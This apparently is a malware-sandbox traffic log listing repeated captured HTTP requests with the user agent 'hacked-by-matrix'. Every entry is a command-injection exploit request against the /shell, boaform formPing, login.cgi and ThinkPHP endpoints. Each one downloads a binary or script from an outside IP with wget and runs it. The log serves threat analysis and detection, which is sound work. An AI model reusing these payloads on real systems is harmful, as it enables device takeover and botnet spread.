Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
